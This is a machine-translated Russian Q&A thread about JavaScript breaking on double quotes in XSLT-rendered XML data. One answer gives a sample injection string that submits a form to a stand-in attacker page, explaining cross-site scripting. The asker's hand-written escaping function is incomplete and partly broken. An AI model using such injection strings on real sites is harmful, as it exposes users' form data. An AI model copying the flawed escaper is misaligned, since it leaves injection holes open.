XML хранит текстовые данные в двойных кавычках, JavaScript падает при получении данных - PullRequest
0 голосов
/ 17 февраля 2010

Я не уверен, что смогу объяснить это правильно, поскольку мне может быть трудно объяснить, но я собираюсь попробовать.

У меня есть веб-форма, в которой данные публикуются в XML-файле, а затем отображаются данные на другой веб-странице.

Все работает нормально, но когда пользователь вводит символ двойной кавычки, в то время, когда веб-страница пытается отобразить данные, которые она вылетает из-за символа двойной кавычки, это имеет смысл, так как может рассматриваться как незаконченная строка по javascript.

Есть также кое-что, о чем стоит упомянуть, и это то, что проблема возникает только в части формы, где она состоит из таблицы, которая заполняется массивом, созданным на основе набора элементов из XML, а затем вставьте текст из массива в ячейки таблицы, используя innerHTML.

например.

XML

<node1>
  <node2> test "1</node2>
</node1>

<script type="text/javascript">
  alert("<xsl:value-of select="node1/node2">");
<script>

Это не сработает, может быть, если мне удастся обойти это, я могу исправить все остальное.

Извините, ребята, если я недостаточно хорошо себя объяснил, я не знаю, как лучше разоблачить эту проблему. Я был бы рад ответить на любой вопрос, если вам это нужно.

Обратите внимание, что если у кого-либо из вас есть какой-либо ответ, это должен быть javascript, а не jquery.

Спасибо.

Ответы [ 2 ]

2 голосов
/ 17 февраля 2010

Всегда избегать пользовательского ввода. Ваша ошибка - это хороший пример проблем, которые могут возникнуть, но это означает, что вы, вероятно, также уязвимы для атаки внедрения кода , такой как межсайтовый скриптинг .

Экранирование

Вот что говорит Википедия о побеге . Вот чрезмерно упрощенный пример того, что это значит. Предположим, что у вас есть следующий JavaScript, и я не допустил глупых ошибок (поскольку я только что его придумал):

function unsafeAlert() {
    alert("You shouldn't be doing this!\n" + document.getElementsById('userInputField').value);
}

Что произойдет, если пользователь введет что-то вроде '); document.forms[0].action="http://www.example.com/maliciousPage.html";document.forms[0].submit();"? Внезапно ваше оповещение приводит к тому, что форма (которая может содержать конфиденциальные данные) отправляется на страницу злоумышленника. Это очевидно проблема. У вас должен быть где-нибудь библиотечный код, который экранирует значение, прежде чем вы попытаетесь предупредить его. Это будет делать, например, ставить косую черту перед кавычками и т. Д. Кроме того, вам, вероятно, не следует пытаться писать такой код самостоятельно, поскольку избежать логики всегда как минимум в 10 раз сложнее, чем вы думаете. Вы определенно должны получать логику, подобную этой, где-нибудь из библиотеки.

0 голосов
/ 17 февраля 2010

Правильные парни,

Я играл и нашел способ исправить это.

с использованием следующей функции.

XML
<node1>
 <node2>test "1</node2>
</node1>

<script type="text/javascript">
function convertString(value){ 
 for(var z=0; z <= value.length -1; z++)
  {
    //if current character is a backslash
    if(value.substring(z, z + 1)=="\\" && (value.substring(z, z + 4)!="\\r\\n" && value.substring(z, z + 2)!="\\n"))
        {
         value = value.substring(0, z) + "\\\\" + value.substring(z + 1, value.length);
  z++;
 }   
    if(value.substring(z, z + 1)=="\\" && value.substring(z, z + 4)=="\\r\\n")
        {
         z = z+4;
        }      
    if(value.substring(z, z + 1)=="\\" && value.substring(z, z + 2)=="\\n")
        {
         z = z+2;
        }
    }
//replace " with \"
//loop through each character
     for(var x = 0; x <= value.length -1; x++){
       //if current character is a quote
  if(value.substring(x, x + 1)=="\""){
     //concatenate: value up to the quote + \" + value AFTER the quote
  value = value.substring(0, x) + "\\\"" + value.substring(x + 1, value.length);
  //account for extra character
   x++;
   }
     }
    //return the modified string
 return(value);
}
<script>


alert("<xsl:value-of select="convertString(string(node1/node2))"/>");

Спасибо всем, кто ответил на этот вопрос.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...